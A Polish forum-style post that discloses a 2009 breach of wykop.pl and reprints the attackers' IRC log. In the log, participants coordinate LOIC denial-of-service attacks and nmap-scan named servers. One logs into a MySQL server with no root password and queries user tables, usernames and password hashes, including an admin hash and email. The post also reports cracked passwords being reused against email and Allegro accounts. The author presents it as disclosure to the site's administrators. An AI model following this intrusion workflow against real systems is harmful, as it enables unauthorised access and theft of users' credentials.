W posiadaniu kompletnej bazy danych (a raczej jej kopii zapasowej sprzed kilku miesiecy) są prawdopodobnie tylko xenu, czaks oraz mepholic. Xenu i Czaks są administratorami strony http://vichan.net (link kopiujcie i wklejajcie do paska adresu, bo moze sie skonczyc przekierowaniem referera na jakiś syf), w irclogu występują pod nickami "a" i "x3nU".

Mi oraz moderatorom vichana udostępniono 40megabajtowy plik sql z tabelą users zawierającą informacje o użytkownikach oraz hasła które udało im się do tej pory złamać (około 40%!!!).

Z tego co wiem hasła wykorzystano już do włamów do kont email i allegro.

Screenshot znaleziony na vichanie (adres email wycięty)

powiększ obrazek

to konto email podobno należy do jakiegoś wykopowicza, adres email występuje w bazie danych.

Fragment bazy danych który mi udostępniono:

powiększ obrazek

IRClog z włamania: (nieocenzurowany bo wszystkie dziury w zabezpieczeniach wykopu, które tam odkryli zostały załatane)

19:13 -!- mepholic [weechat@Anon-F6ECB029.node.vpn.ragenet.us] has joined #polfuck
19:13 < mepholic> ???
19:13 < GuRt> !!!
19:14 < GuRt> imho, attacks+swastika&hitler+nasza-klasa.pl(or may it be wykop.pl...)+NIGHT TIME = epic win.
19:15 < exaze> whats best LONGCAT or LOIC
19:15 < GuRt> and I guess that's all I gotta say for now as a polish spyfag
19:15 < a> GuRt, let's attack wykop now
19:15 < exaze> im alrdy doing
19:15 < a> and then nasza-klasa
19:15 < a> like in the next days
19:15 < mepholic> wat is going on
19:15 < mepholic> wat is dis aboot
19:16 < a> xxx, could you show the settings for LOIC?
19:16 < GuRt> ITC: Polish people planning attacks on polish web.
19:16 < mepholic> I see
19:16 < exaze> not polish ppl, ppl form around the wold!
19:16 < x3nU> YEAH, MA?OPOLSKA REPORTING IN
19:16 < x3nU> ;f
19:16 < mepholic> o
19:16 < a> WARMIA UND MAZURY
19:16 < GuRt> yeah, but treat us as laser pinpointing the weak spots :P
19:17 < GuRt> LOWER SILESIA KURWA YEAH.
19:17 < GuRt> that was refreshing.
19:17 < a> and xxx zmywakowice xD
19:17 < mepholic> how about root instead of bullshit like loic that doesn't even work
19:17 < GuRt> hmmm
19:17 < a> mepholic, it DOES work in fact
19:18 < a> we took down wykop some times using that
19:18 < mepholic> HEY LETS ATTACK FROM OUT HOME CONNECTIONS
19:18 < a> but they secured a bit
19:18 < mepholic> gimmie a second
19:18 < xxx> a: hm, what settings?
19:18 < a> mepholic, yeah, using home connections
19:18 < xxx> what are you trying to do?
19:18 < a> xxx, for wykop xD
19:18 < xxx> captcha.php?
19:18 < a> the loic settings
19:19 < a> yes
19:19 < xxx> sure, give me a sec
19:19 < GuRt> okay guys, right now i've got a movie script to write, so I'ma gonna wrap up, I'm sure to get on it later today
19:19 -!- FangZ [Anonymous@Anon-D4A852CB.nap.wideopenwest.com] has quit [Ping timeout]
19:20 < mepholic> ok
19:20 < mepholic> guys
19:20 < mepholic> go to wykop.pl
19:20 < mepholic> and watch
19:21 < mepholic> tell me when you're there
19:21 < xxx> [url]http://img233.imageshack.us/img233/4219/captchasayspride.png[/url]
19:21 < a> i'm watching
19:21 < mepholic> refresh
19:22 < mepholic> also ping
19:22 < a> good
19:22 < mepholic> sorry
19:22 < a> doesn't ping
19:22 < mepholic> but ddos is the lame way to do
19:22 < a> now pings
19:22 < mepholic> i'm gonna go try to root them
19:22 < mepholic> i just stopped it ok
19:22 < a> mepholic, you know the latest root exploit?
19:23 < mepholic> yes
19:23 < a> i mean
19:23 < mepholic> I have some code for it
19:23 < mepholic> it wasn't released
19:23 < a> the one that works in Linuskes from 2001yr to 2.6.30 w/o selinux
19:23 < mepholic> from 2.4 to recent 2.6
19:23 < mepholic> yes
19:23 < mepholic> I have some poc code for it
19:23 < a> mepholic, it was
19:24 < a> by brad spender, i've exploited my machines
19:24 < a> and it worked
19:24 < a> i believe it was on [url]http://lwn.et/[/url]
19:24 < GuRt> however you know the basics - time plays the major role. It's fuckeasier than real war. When you fight on a battleground, both sides always have the same daytime. over the web u can gather everyone in the evening on one side of the globe and attack sleeping fags on the other. USE IT. because setting an attack on 11am makes it like 17pm here, when everyone's in front of their PCs
19:25 < a> GuRt, true
19:25 < GuRt> that applies specifically to the drawball too, by the way
19:25 < mepholic> wo what exactly is wykop?
19:25 < a> mepholic, polish Digg clone
19:25 < GuRt> meph, it's a copy/spinoff of Digg
19:26 < mepholic> i'm sure you guys have this
19:26 < mepholic> Interesting ports on ip-91-102-117-196.beyond.pl (91.102.117.196):
19:26 < mepholic> Not shown: 995 closed ports
19:26 < mepholic> PORT     STATE    SERVICE          VERSION
19:26 < mepholic> 22/tcp   filtered ssh
19:26 < mepholic> 25/tcp   filtered smtp
19:26 < mepholic> 80/tcp   open     http             Apache httpd 2.2.3 ((CentOS))
19:26 < mepholic> |  html-title: Wykop.pl - newsy, aktualno\xC5\x9Bci, gry, wiadomo\xC5\x9Bci, muzyka, poli...
19:26 < mepholic> |_ Requested resource was [url]http://www.wykop.pl/[/url]
19:26 < mepholic> 443/tcp  open     ssl/http         Apache httpd
19:26 < mepholic> |  sslv2: server still supports SSLv2
19:26 < mepholic> |       SSL2_DES_192_EDE3_CBC_WITH_MD5
19:26 < mepholic> |       SSL2_IDEA_128_CBC_WITH_MD5
19:26 < GuRt> okay, i'm out, godspeed, gentlemen.
19:26 < mepholic> |       SSL2_RC2_CBC_128_CBC_WITH_MD5
19:26 < mepholic> |       SSL2_RC4_128_WITH_MD5
19:26 < mepholic> |       SSL2_DES_64_CBC_WITH_MD5
19:26 < mepholic> |_      SSL2_RC4_128_EXPORT40_WITH_MD5
19:26 < mepholic> |_ html-title: 403 Forbidden
19:26 < mepholic> 8081/tcp open     blackice-icecap?
19:26 < exaze> whats this?
19:26 -!- GuRt [extrano@Anon-BC0944EF.chello.pl] has left #polfuck []
19:26 < xxx> probably an nmap scan
19:26 < a> 8081...
19:27 < mepholic> duh
19:27 < a> a rails server?
19:27 < mepholic> 503 Service Unavailable
19:27 < mepholic> No server is available to handle this request. 
19:27 < mepholic> possibly
19:27 < a> but i believe they were rewritten from rails to php some time ago
19:28 < mepholic> they might still have rails up
19:29 < exaze> actually the capthca, if u browse on the web then refresh it takes slower time to update...
19:30 < mepholic> here
19:30 < mepholic> inetnum:        92.43.114.144 - 92.43.114.159
19:30 < mepholic> netname:        WYKOP-NET
19:30 < mepholic> descr:          Wykop.pl
19:30 < mepholic> country:        PL
19:30 < mepholic> inetnum:        91.102.117.192 - 91.102.117.207
19:30 < mepholic> netname:        WYKOP-NET
19:30 < mepholic> descr:          Wykop.pl
19:30 < mepholic> country:        PL
19:30 < a> exaze, no, everything uses php
19:30 < mepholic> mepholic@abydos:~$ whois -h whois.ripe.net wykop-net
19:31 < a> Set-Cookie: PHPSESSID=j683kr5thlvecc3e9bh00ggog1; path=/; domain=wykop.pl
19:31 < mepholic> never dis the whois registry
19:31 < a> that's why i supose so
19:32 < exaze> so u guys ddosing?
19:32 < xxx> "
19:32 < xxx> "
19:32 < xxx>     
19:32 < xxx>  d
19:32 < exaze> with LOIC?
19:33 < xxx> sorry guys
19:34 < mepholic> [url]http://92.43.114.148/[/url]
19:34 < mepholic> there you go
19:34 < exaze> that is?
19:34 < mepholic> wykop's zabbix install
19:34 < mepholic> zabbix is a network monitoring system
19:34 < mepholic> ssh is also open on that box
19:34 < mepholic> it's mailer.wykop.pl
19:35 < a> nice
19:35 < exaze> so what use will that make`?
19:35 < mepholic> Interesting ports on mailer.wykop.pl (92.43.114.148):
19:35 < mepholic> Not shown: 997 closed ports, 1 filtered port
19:35 < mepholic> PORT   STATE SERVICE
19:35 < mepholic> 22/tcp open  ssh
19:35 < mepholic> 80/tcp open  http
19:35 < mepholic> Interesting ports on ip-92-43-114-149.beyond.pl (92.43.114.149):
19:35 < exaze> sry im kinda new on this php stuff
19:35 < mepholic> Not shown: 997 closed ports, 1 filtered port
19:35 < mepholic> PORT     STATE SERVICE
19:35 < mepholic> 22/tcp   open  ssh
19:35 < mepholic> 3306/tcp open  mysql
19:35 < mepholic> Interesting ports on ip-92-43-114-150.beyond.pl (92.43.114.150):
19:35 < mepholic> Not shown: 995 closed ports, 2 filtered ports
19:35 < mepholic> PORT     STATE SERVICE
19:35 < mepholic> 80/tcp   open  http
19:35 < mepholic> 443/tcp  open  https
19:35 < mepholic> 8081/tcp open  blackice-icecap
19:35 < mepholic> Interesting ports on ip-92-43-114-151.beyond.pl (92.43.114.151):
19:35 < mepholic> Not shown: 998 closed ports
19:35 < mepholic> PORT   STATE SERVICE
19:35 -!- Z3Rg_rU5h [chatzilla@Anon-2EB1BF42.dsl.emhril.sbcglobal.net] has quit [client exited: ChatZilla 0.9.85 [Firefox 3.0.13/2009073022]]
19:35 < mepholic> 22/tcp open  ssh
19:35 < mepholic> 80/tcp open  http
19:36 < x3nU> they're using ubuntu :D
19:36 < mepholic> i'm from ezbake/ctrldata if you guys cared
19:37 < mepholic> 25/tcp filtered smtp
19:37 < mepholic> 25/tcp filtered smtp
19:37 < mepholic> oops
19:37 < mepholic> but yeah
19:38 < mepholic> they are firewalling smtp
19:38 < mepholic> next server up is their sql server
19:38 < mepholic> 3306/tcp open  mysql   MySQL 5.0.45
19:38 < mepholic> |  mysql-info: Protocol: 10
19:38 < mepholic> |  Version: 5.0.45
19:38 < mepholic> |  Thread ID: 1395228
19:38 < mepholic> |  Some Capabilities: Connect with DB, Compress, Transactions, Secure Connection
19:38 < mepholic> |  Status: Autocommit
19:38 < x3nU> if you don't noticed -> their apache is old as fuck
19:38 < mepholic> |_ Salt: &dHxF3j=3(kd4sk=/rp_
19:38 < mepholic> |  banner: 4\x00\x00\x00\x0A5.0.45\x00\x1DJ\x15\x00[C}n2IZg\x00,\xA2\x08\x
19:38 < mepholic> |  02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00xG9'VZC!y_R]\
19:38 < mepholic> |_ x00
19:38 < mepholic> nice job guys
19:38 < mepholic> 92.43.114.149
19:38 < mepholic> right there
19:41 < mepholic> mepholic@abydos:~$ mysql -h 92.43.114.149 -u root
19:41 < mepholic> ERROR 1045 (28000): Access denied for user 'root'@'69.163.33.80' (using password: NO)
19:41 < mepholic> it's not denying my host entirely
19:41 < mepholic> you guys might wanna check that out
19:44 < exaze> u gonna hack for access there?
19:44 < a> low:   mod_deflate DoS  CVE-2009-1891 
19:44 < a>  A denial of service flaw was found in the mod_deflate module. This module continued to compress large files until compression was complete, even if the network connection that requested the content was closed before compression completed. This would cause mod_deflate to consume large amounts of CPU if mod_deflate was enabled for a large file.
19:44 < a>  Update Released: 27th July 2009
19:44 < a>  
19:44 < a>  Affects: 2.2.11, 2.2.9, 2.2.8, 2.2.6, 2.2.5, 2.2.4, 2.2.3, 2.2.2, 2.2.0
19:45 < a> (about httpd)
19:45 < a> that could be useful if nothing's left
19:45 < mepholic> if they are using mod_deflate
19:45 < a> they are
19:45 < mepholic> they might not br
19:45 < mepholic> ok
19:45 < a> but i couldn't find any big file here
19:46 < mepholic> Interesting ports on ip-91-102-117-202.beyond.pl (91.102.117.202):
19:46 < mepholic> Not shown: 997 closed ports
19:46 < mepholic> PORT     STATE SERVICE
19:46 < mepholic> 22/tcp   open  ssh
19:46 < mepholic> 80/tcp   open  http
19:46 < mepholic> 3306/tcp open  mysql
19:46 < mepholic> it comes up as a basic auth page
19:47 < mepholic> the prompt i believe is "Haslo:"
19:47 < a> it means "Password:"
19:47 < mepholic> ok
19:47 < mepholic> Interesting ports on ip-91-102-117-200.beyond.pl (91.102.117.200):
19:47 < mepholic> Not shown: 994 closed ports, 3 filtered ports
19:47 < mepholic> PORT     STATE SERVICE
19:47 < mepholic> 81/tcp   open  hosts2-ns
19:47 < mepholic> 443/tcp  open  https
19:47 < mepholic> 8081/tcp open  blackice-icecap
19:48 < x3nU> a: i told you about this bug yesterdat
19:48 < x3nU> a: it is NOT useful on wykop
19:48 < mepholic> Interesting ports on ip-91-102-117-197.beyond.pl (91.102.117.197):
19:48 < mepholic> Not shown: 997 closed ports
19:48 < mepholic> PORT     STATE SERVICE
19:48 < a> x3nU, we could at least use that on captcha
19:48 < mepholic> 22/tcp   open  ssh
19:48 < mepholic> 3306/tcp open  mysql
19:48 < mepholic> 8080/tcp open  http-proxy
19:48 < mepholic> [url]http://91.102.117.197:8080/[/url]
19:48 < mepholic> wat
19:49 < a> CherryPy
19:49 < mepholic> oh christ what
19:49 < mepholic> [url]http://www.enomaly.com/[/url]
19:49 < mepholic> cloud computing infrastructure
19:51 < xxx> actually beyond.pl seems to be hosting half of the most popular polish social websites
19:51 < mepholic> lolol
19:52 < mepholic> 3306/tcp open  mysql   MySQL (unauthorized)
19:52 < mepholic> |  banner: S\x00\x00\x00\xFFj\x04Host 'abydos.node.vpn.ragenet.us' is not
19:52 < mepholic> |_ allowed to connect to this MySQL server
19:52 < mepholic> :(
19:52 < mepholic> that's rude
19:52 < exaze> lol gazeta has kontratak 4chan
19:52 < exaze> [url]http://technologie.gazeta.pl/technologie/1,82011,6941243,Jak_Nasza_Klasa__Wykop_i_inni_o_polska_flage_walczyli.html[/url]
19:52 < exaze> the prog im using...
19:53 < mepholic> on the other hand
19:54 < mepholic> 3306/tcp open  mysql   MySQL 5.1.34-0.dotdeb.1
19:54 < mepholic> |  banner: ?\x00\x00\x00\x0A5.1.34-0.dotdeb.1\x00;\x1F\x01\x00}TlCH"m~\x00
19:54 < mepholic> |  \xFF\xF7\x08\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0
19:54 < mepholic> |_ 0Tj6l@9=fhZh~\x00
19:54 < mepholic> |  mysql-info: Protocol: 10
19:54 < mepholic> |  Version: 5.1.34-0.dotdeb.1
19:54 < mepholic> |  Thread ID: 73532
19:54 < mepholic> |  Some Capabilities: Long Passwords, Connect with DB, Compress, ODBC, Transactions, Secure Connection
19:54 < mepholic> |  Status: Autocommit
19:54 < mepholic> |_ Salt: V$L3ZNWHCWm>+ZhyG8"A
19:54 < mepholic> Service Info: OS: Linux
19:54 < mepholic> Interesting ports on ip-91-102-117-202.beyond.pl (91.102.117.202):
19:54 < mepholic> Not shown: 997 closed ports
19:54 < mepholic> PORT     STATE SERVICE VERSION
19:54 < mepholic> 22/tcp   open  ssh     OpenSSH 5.1p1 Debian 5 (protocol 2.0)
19:54 < mepholic> |_ banner: SSH-2.0-OpenSSH_5.1p1 Debian-5
19:54 < mepholic> running lenny
19:54 < mepholic> this box was set up somewhat recvedntly
19:54 < mepholic> recently
19:54 < mepholic> *
19:55 < mepholic> anyways
19:55 < mepholic> i'm getting bored
19:55 < mepholic> oh man
19:55 < mepholic> hey guys
19:55 < a> sup?
19:55 < mepholic> no root password on sql
19:56 < mepholic> mepholic@abydos:~$ mysql -h 91.102.117.202 -u root
19:56 < xxx> oh wow
19:56 < mepholic> Welcome to the MySQL monitor.  Commands end with ; or \g.
19:56 < mepholic> Your MySQL connection id is 73535
19:56 < mepholic> Server version: 5.1.34-0.dotdeb.1 (Debian)
19:56 < mepholic> Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
19:56 < a> nice!
19:56 < mepholic> mysql>
19:56 < mepholic> absolute fluke that i tried that
19:56 < mepholic> mysql> show databases;
19:56 < mepholic> +-------------------------+
19:56 < mepholic> | Database                |
19:56 < mepholic> +-------------------------+
19:56 < mepholic> | information_schema      |
19:56 < mepholic> | mysql                   |
19:56 < mepholic> | wykop_global            |
19:56 < mepholic> | wykop_level_commercials |
19:56 < mepholic> | wykop_level_links       |
19:56 < xxx> wykop_global
19:56 < mepholic> | wykop_site_pl           |
19:56 < xxx> oh god
19:56 < mepholic> +-------------------------+
19:56 < a> xD
19:56 < mepholic> 6 rows in set (0.20 sec)
19:56 < mepholic> have fun
19:56 < mepholic> don't fuck with it guys
19:56 < a> nice, thanks
19:56 < xxx> thanks
19:57 < exaze> wat
19:57 < a> we certainly will
19:57 < mepholic> i'll dump it
19:57 < mepholic> and rce
19:57 < mepholic> and root the boxz
19:57 < mepholic> then sql to their other boxes
19:57 < exaze> what do you mean with dont fuck with it?
19:57 < mepholic> i mean
19:57 < mepholic> don't fuck it up
19:57 < mepholic> don't even go into it
19:57 < mepholic> i can rm the entire site
19:58 < xxx> sure
19:58 < xxx> we'll let you do your job
19:58 < exaze> so u mean that we shall not do what u "want" to do?
19:58 < xxx> exaze: what do you mean?
19:58 < mepholic> well
19:59 < mepholic> unless you guys know how to do this shit while causing the most damage
19:59 < xxx> just don't touch the fucking database
19:59 < mepholic> duh
19:59 < exaze> SURE DUDE! u have my damn word !!! w00t
19:59 < xxx> i mean exaze
19:59 < xxx> not you
20:00 < exaze> i dont get that shit, maby in a year when im done studying that..
20:00 < exaze> i hope
20:02 < xxx> well that database is probably just a backup
20:02 < xxx> if the box was set up recently as you said
20:02 < a> xxx, that's not bad
20:02 < mepholic> damn
20:02 < mepholic> there's absolutly no passwords in here
20:03 < mepholic> well like
20:03 < mepholic> oh fucking christ
20:03 < mepholic> mysql> show tables;
20:03 < mepholic> +------------------------+
20:03 < mepholic> | Tables_in_wykop_global |
20:03 < mepholic> +------------------------+
20:03 < mepholic> | avatars                |
20:03 < mepholic> | banned_domains         |
20:03 < mepholic> | black_email_domains    |
20:03 < mepholic> | black_ips              |
20:03 < mepholic> | black_list             |
20:03 < mepholic> | cms_acls               |
20:03 < mepholic> | cms_acls_groups        |
20:03 < mepholic> | cms_groups             |
20:03 < mepholic> | cms_users              |
20:03 < mepholic> | cms_users_groups       |
20:03 < mepholic> | devices                |
20:04 < mepholic> | devices_words          |
20:04 < mepholic> | domain_black_list      |
20:04 < mepholic> | domain_white_list      |
20:04 < mepholic> | group_categories       |
20:04 < mepholic> | groups                 |
20:04 < mepholic> | groups_members         |
20:04 < mepholic> | grouptags_cloud        |
20:04 < mepholic> | locks                  |
20:04 < mepholic> | log                    |
20:04 < mepholic> | observed_users         |
20:04 < mepholic> | parter_payments        |
20:04 < mepholic> | partner_advertisements |
20:04 < mepholic> | partner_cash           |
20:04 < mepholic> | partner_indexes        |
20:04 < mepholic> | partner_sites          |
20:04 < mepholic> | partners               |
20:04 < mepholic> | sites                  |
20:04 < mepholic> | users                  |
20:04 < mepholic> | users_mywykop_lists    |
20:04 < mepholic> +------------------------+
20:04 < mepholic> 30 rows in set (0.20 sec)
20:05 < exaze> lol
20:05 < mepholic> HORLEERJ?TKYhy
20:05 < mepholic> this is EVERYTHING
20:05 < mepholic> | Biznesnauta                         |
20:05 < mepholic> | biznezkobieta                       |
20:05 < mepholic> | bizon                               |
20:05 < mepholic> | bizon1                              |
20:05 < mepholic> | bizon23                             |
20:05 < mepholic> | bizon240                            |
20:06 < mepholic> | bizonex                             |
20:06 < exaze> usernames?
20:06 < mepholic> | bizonKiller                         |
20:06 < mepholic> | bizpar                              |
20:06 < mepholic> | bizsukses                           |
20:06 < mepholic> | biztor                              |
20:06 < mepholic> | bizyja                              |
20:06 < mepholic> Aborted
20:06 < mepholic> users
20:06 < mepholic> yes
20:06 < exaze> oh my
20:06 < exaze> and no password that access that info?
20:06 < mepholic> mysql> select password from users where login = 'bizon240';
20:06 < mepholic> +------------------------------------------+
20:06 < mepholic> | password                                 |
20:06 < mepholic> +------------------------------------------+
20:07 < mepholic> | 3d1664e35e069d71c01f79cedd3c1bf5fa08b490 |
20:07 < mepholic> +------------------------------------------+
20:07 < mepholic> 1 row in set (0.21 sec)
20:07 < mepholic> ;)
20:07 < xxx> nice
20:07 < exaze> 3d1664e35e069d71c01f79cedd3c1bf5fa08b490 <<<< is pw?
20:08 < xxx> nope
20:08 < mepholic> no
20:08 < mepholic> prolly sha1
20:08 < exaze> then what¨
20:08 < mepholic> and salted
20:08 < a> mepholic, see account "uzytkownikjoemonstera"
20:09 < a> and account: "behemoth13"
20:09 < mepholic> mysql> select password from users where login = "uzytkownikjoemonstera";
20:09 < mepholic> Empty set (0.20 sec)
20:09 < mepholic> prolly not an active db
20:09 < a> maybe
20:09 < mepholic> mysql> select password from users where login = "behemoth13";
20:09 < mepholic> Empty set (0.20 sec)
20:10 < exaze> lol
20:10 < mepholic> mysql> SELECT COUNT(*) FROM users;
20:10 < mepholic> +----------+
20:10 < mepholic> | COUNT(*) |
20:10 < mepholic> +----------+
20:10 < mepholic> |   118275 |
20:10 < mepholic> +----------+
20:10 < mepholic> 1 row in set (0.24 sec)
20:10 < mepholic> only 118275 users
20:11 < xxx> could you try "savavido" or "gimbus1xD". they're older accounts
20:12 < mepholic> nothing for both
20:12 < mepholic> :|
20:12 < mepholic> although
20:12 < mepholic> mysql> select password from users where login = 'admin';
20:12 < mepholic> +------------------------------------------+
20:12 < mepholic> | password                                 |
20:12 < mepholic> +------------------------------------------+
20:12 < xxx> then it's probably really old
20:12 < mepholic> | b1b3773a05c0ed0176787a4f1574ff0075f7521e |
20:13 < mepholic> +------------------------------------------+
20:13 < mepholic> 1 row in set (0.20 sec)
20:13 < a> but there are two databases
20:13 < a> wykop_global
20:13 < a> and wykop_site_pl i believe
20:13 < mepholic> | 2329 | admin | b1b3773a05c0ed0176787a4f1574ff0075f7521e | admin@erofotki.pl | 2006-07-22 14:59:59 |
20:13 < a> :D erofotki.pl :D
20:13 < exaze> hahaha
20:14 < mepholic> lets see
20:14 < xxx> i really hoped there would be some ip's so I could blacklist those fuckers from my sites
20:14 < mepholic> mysql> show tables;
20:14 < mepholic> +-------------------------+
20:14 < mepholic> | Tables_in_wykop_site_pl |
20:14 < mepholic> +-------------------------+
20:14 < mepholic> | blog_comments           |
20:14 < mepholic> | blog_posts              |
20:14 < mepholic> | categories              |
20:14 < mepholic> | contact                 |
20:14 < mepholic> | contact_answers         |
20:14 < mepholic> | contact_changes         |
20:14 < mepholic> | contact_read            |
20:14 < mepholic> | contact_reason          |
20:14 < mepholic> | contact_templates       |
20:14 < mepholic> | levels                  |
20:14 < mepholic> +-------------------------+
20:14 < mepholic> 10 rows in set (0.20 sec)
20:14 < mepholic> meh
20:15 < a> <Wybot> [WykopWykop] Atak 4chanu sta? si? faktem - pierwsz runda dla wykopu! - [url]http://wykopwykop.pl/atak-4chanu-stal-sie-faktem-pierwsz-runda-dla-wykopu/2009/08/[/url]
20:15 < a> <Bobas> Jak pozby? si? ma?ych rysek z obudowy laptopa?
20:15 < a> <kawak> o lol :D
20:15 < a> <kawak> heh jestesmy lepsi od 4chana :D
20:15 < a> (from their IRC channel)
20:15 < exaze> what they said?
20:15 < a> the last message is: "huh, we are better than 4chan :D"
20:16 < a> the second is insignificant
20:16 < exaze> why that @ 1st one
20:16 < a> the first is a bot noticing about a news
20:17 < a> <kawak> chcial bym zobaczyc z ilu ip byl atakowany wykop :)
20:17 < a> "i want to know from how many IP addresses wykop has been attacked"
20:17 < exaze> and?
20:17 < xxx> so they actually think that they have anything to do with 4chan's downtime?
20:18 < xxx> it's not like i actually care about 4chan being down but fuck....
20:20 < a> mepholic, try "show processes"
20:20 < a> i believe there is something like that
20:21 < mepholic> nope a
20:21 < a> wait a moment...
20:46 -!- mepholic [weechat@Anon-F6ECB029.node.vpn.ragenet.us] has left #polfuck [WeeChat 0.2.6]

szalwia aka gimbus1xD aka Andzia

Kontakt: szalwia.eris@gmail.com (plik sql oraz dodatkowe informacje udostepnie tylko administracji wykopu)